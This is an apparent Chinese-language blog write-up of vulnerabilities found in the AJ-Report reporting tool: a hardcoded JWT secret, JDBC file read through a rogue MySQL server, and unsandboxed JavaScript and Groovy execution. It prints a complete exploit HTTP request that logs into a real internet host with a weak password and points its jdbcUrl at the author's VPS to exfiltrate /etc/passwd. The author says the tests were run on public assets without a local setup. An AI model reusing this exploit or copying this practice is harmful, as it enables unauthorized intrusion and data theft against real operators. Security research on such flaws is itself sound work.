AJ-Report漏洞挖掘记录

前段时间在审计一个开源报表项目AJ-Report时,偶然发现了一个有趣的漏洞。这是一个完全开源的拖拽式可视化设计工具,在数据源管理这块提供了测试连接的功能,结果发现开发者在这里埋了个大坑。这次就来聊聊我是怎么一步步挖出这个漏洞的。

JWT密钥硬编码导致身份认证绕过

在深入分析JDBC漏洞之前,首先发现了一个更严重的问题,系统的身份认证机制存在严重缺陷。AJ-Report使用JWT作为身份认证方案,但是JWT签名密钥被直接硬编码在源码中。

在JwtUtil.java中可以看到这样的代码:

public class JwtUtil {
    private static final String JWT_SECRET = "aj-report";
    
    public static String createToken(String username, Map<String, Object> claims) {
        Algorithm algorithm = Algorithm.HMAC256(JWT_SECRET);
        return JWT.create()
                .withClaim("username", username)
                .withClaim("createTime", System.currentTimeMillis())
                .sign(algorithm);
    }
    
    public static DecodedJWT getClaim(String token) {
        Algorithm algorithm = Algorithm.HMAC256(JWT_SECRET);
        JWTVerifier verifier = JWT.require(algorithm).build();
        return verifier.verify(token);
    }
}

JWT_SECRET被固定写死为字符串aj-report,这个密钥用于所有JWT令牌的签名和验证。另外在配置文件bootstrap.yml中也发现类似的问题:

customer:
  file:
    dist-path: ~
    white-list: .png|.jpg|.gif|.icon|.pdf|.xlsx|.xls
    excelSuffix: .xlsx|.xls
  jwtSecret: TybmmfrgsIqpPsBOYxvygCMVJWKNfDJU

由于密钥完全暴露在开源代码中,任何人都可以获取到这个密钥值。利用这个密钥可以伪造任意用户的JWT令牌,从而绕过整个身份认证机制直接登录系统。这意味着后面发现的JDBC文件读取漏洞原本需要登录后台才能利用,现在通过JWT伪造可以在前台未授权的情况下直接发起攻击。

初步探索

拿到项目后先把代码跑起来看看,发现登录后台有个数据源管理的功能。点进去之后可以添加各种数据库连接,MySQL啥的都支持。最关键的是有个"测试连接"按钮,点了之后会向后端发送请求验证数据库能不能连上。

看看这个测试连接到底是怎么实现的。

从Controller入手

顺着请求路径找到了DataSourceController这个类,果然有个testConnection接口:

@Permission( code = "query", name = "测试数据源")
@PostMapping("/testConnection")
public ResponseBean testConnection(@Validated @RequestBody ConnectionParam connectionParam) {
    return responseSuccessWithData(dataSourceService.testConnection(connectionParam));
}

看起来很正常,有权限校验,参数也做了@Validated验证。但这只是表面功夫,继续往下看ConnectionParam这个参数类:

@Data
public class ConnectionParam implements Serializable {
    @NotBlank(message = "sourceType not empty")
    private String sourceType;
  
    @NotBlank(message = "sourceConfig not empty")
    private String sourceConfig;
}

就两个字段,sourceType是数据源类型,sourceConfig是配置信息的JSON字符串。等等,这个sourceConfig只校验了非空?那里面的内容呢?没有任何过滤?这就有意思了。

追踪业务逻辑

跟进DataSourceServiceImpl看看testConnection方法干了啥:

public Boolean testConnection(ConnectionParam connectionParam) {
    String sourceType = connectionParam.getSourceType();
    String sourceConfig = connectionParam.getSourceConfig();
    DataSourceDto dto = new DataSourceDto();
    dto.setSourceConfig(sourceConfig);
    switch (sourceType) {
        case JdbcConstants.MYSQL:
        case JdbcConstants.ORACLE:
        case JdbcConstants.SQL_SERVER:
        case JdbcConstants.JDBC:
        case JdbcConstants.POSTGRESQL:
            testRelationalDb(dto);
            break;
        // ...
    }
    return true;
}

原来是根据sourceType走不同分支。我们重点关注MySQL这种关系型数据库,看看testRelationalDb方法:

public void testRelationalDb(DataSourceDto dto) {
    analysisRelationalDbConfig(dto);
    try {
        Connection unPooledConnection = jdbcService.getUnPooledConnection(dto);
        String catalog = unPooledConnection.getCatalog();
        unPooledConnection.close();
    } catch (SQLException e) {
        // ...
    }
}

先解析配置,然后获取数据库连接。再看解析配置的代码:

public void analysisRelationalDbConfig(DataSourceDto dto) {
    JSONObject json = JSONObject.parseObject(dto.getSourceConfig());
    String jdbcUrl = json.getString("jdbcUrl");
    String username = json.getString("username");
    String password = json.getString("password");
    String driverName = json.getString("driverName");
    dto.setJdbcUrl(jdbcUrl);
    dto.setDriverName(driverName);
    dto.setUsername(username);
    dto.setPassword(password);
}

这代码就是把JSON解析出来,然后直接赋值,没有任何检查。jdbcUrl想写啥就写啥,这不就可以搞事情了吗?

顺藤摸瓜

继续往下追,看看这个jdbcUrl最后怎么用的:

public Connection getUnPooledConnection(DataSourceDto dataSource) throws SQLException {
    DruidDataSource druidDataSource = druidProperties.dataSource(
        dataSource.getJdbcUrl(),
        dataSource.getUsername(), 
        dataSource.getPassword(), 
        dataSource.getDriverName()
    );
    return druidDataSource.getConnection();
}

再看dataSource方法:

public DruidDataSource dataSource(String url, String username, String password, String driverClassName){
    DruidDataSource datasource = new DruidDataSource();
    datasource.setUrl(url);
    datasource.setUsername(username);
    datasource.setPassword(password);
    datasource.setDriverClassName(driverClassName);
    // 其他配置
    return datasource;
}

好家伙,用户传进来的jdbcUrl被原封不动地塞给了DruidDataSource,然后直接getConnection。这意味着什么?意味着我可以在jdbcUrl里加任何参数,JDBC驱动都会老老实实执行。

整个攻击思路一下子就清晰了:搭个假的MySQL服务器,在jdbcUrl里设置好那些危险参数,让AJ-Report去连我的服务器,然后服务器返回LOAD DATA LOCAL INFILE命令,客户端就会乖乖把文件读出来发给我。

实战验证

先在VPS上用java-chains搭个恶意MySQL服务器,设置读取目标文件:

然后用弱口令admin/123456登录AJ-Report后台,构造请求包:

POST /calab-report-server/dataSource/testConnection HTTP/1.1
Host: 115.190.170.13
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiZmUwZDA0YTRlNTQyNGZiMjllOGQ4MDI0NWIxMTIwMWUiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.QZwLAgGdqrhceV4ZTfHRTX-fsvDzYVdrvsTbSdpnAuA
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://115.190.170.13
Referer: http://115.190.170.13/calab-report-web/
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 892

{
"id": 2,
"createBy": "admin",
"createByView": "admin",
"createTime": "2025-09-26 16:10:57",
"updateBy": "admin",
"updateByView": "admin",
"updateTime": "2025-09-26 16:40:41",
"version": 3,
"sourceCode": "pmos",
"sourceName": "pmos",
"sourceDesc": "",
"sourceType": "mysql",
"sourceConfig": "{\"driverName\":\"com.mysql.cj.jdbc.Driver\",\"jdbcUrl\":\"jdbc:mysql://123.57.23.40:3308/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360&user=f69bdb4\",\"username\":\"f69bdb4\",\"password\":\"litao819!\"}",
"enableFlag": 1,
"deleteFlag": 0,
"jdbcUrl": null,
"username": null,
"password": null,
"driverName": null,
"sql": null,
"apiUrl": null,
"method": null,
"header": null,
"body": null,
"dynSentence": null,
"contextData": null,
"accessKey": "1aec8e5d33aee82c021ba8df4c6b09e9"
}

注意这个jdbcUrl,我把服务器地址指向了自己的VPS 123.57.23.40:3308,并且加上了那几个关键参数。user参数的值就是java-chains生成的payload。

发送请求,然后去VPS的fake-server-files目录看看:

成了!/etc/passwd文件的内容躺在那里,清清楚楚。

代码执行漏洞

除了上述的JDBC文件读取漏洞,在审计过程中还发现了多处代码执行相关的问题,主要集中在数据处理和转换模块。

在DataSourceServiceImpl.java文件中,executeRelationalDb方法用于执行关系型数据库查询。可以看到第235行左右的代码直接使用了用户传入的SQL语句构建预编译对象。

public List<JSONObject> executeRelationalDb(DataSourceDto dto) {
    // ...
    PreparedStatement statement = pooledConnection.prepareStatement(dto.getDynSentence());
    ResultSet rs = statement.executeQuery();
    // ...
}

这里直接执行了用户提供的SQL语句,构成了SQL代码执行漏洞。

接着看数据转换功能,系统支持使用JavaScript脚本对数据进行清洗。在JsEngineUtil.java中,开发者实现了一个简单的黑名单机制来限制JavaScript的执行能力。

final Set<String> blackList = Sets.newHashSet(
        "java.lang.ProcessBuilder", "java.lang.Runtime", "java.lang.ProcessImpl");

private String filter(String input) {
    //把blackList中的类替换成空字符串
    for (String clz : blackList) {
        input = input.replace(clz, "");
    }
    return input;
}

这个黑名单仅仅过滤了几个常见的命令执行类,而且使用的是简单的字符串替换。攻击者可以轻松使用其他类或通过字符串拼接等方式绕过这个限制,从而在服务端执行任意Java代码。

最后是Groovy脚本执行问题。在GroovyTransformServiceImpl.java中,系统允许用户通过Groovy脚本转换数据。

@Override
public List<JSONObject> transform(DataSetTransformDto def, List<JSONObject> data) {
    // ...
    GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
    Class<?> clazz = groovyClassLoader.parseClass(transformScript);
    // ...
}

代码直接通过GroovyClassLoader的parseClass方法解析并执行了用户传入的transformScript脚本,完全没有任何沙箱限制。这可以让攻击者直接执行任意的Groovy代码,进而控制整个服务器。

总结

由于我本地没有部署环境,上述漏洞验证都是使用的互联网上的公开资产进行的,剩下的深入利用就留给有缘人了。

特别值得一提的是,正如文章开头提到的JWT密钥硬编码问题,它极大地提升了系统的风险等级。原本那个JDBC任意文件读取漏洞是需要登录后台才能触发的,但配合这个硬编码密钥,攻击者可以伪造管理员凭证,直接在前台就能发起攻击,将一个后台漏洞升级为前台高危漏洞。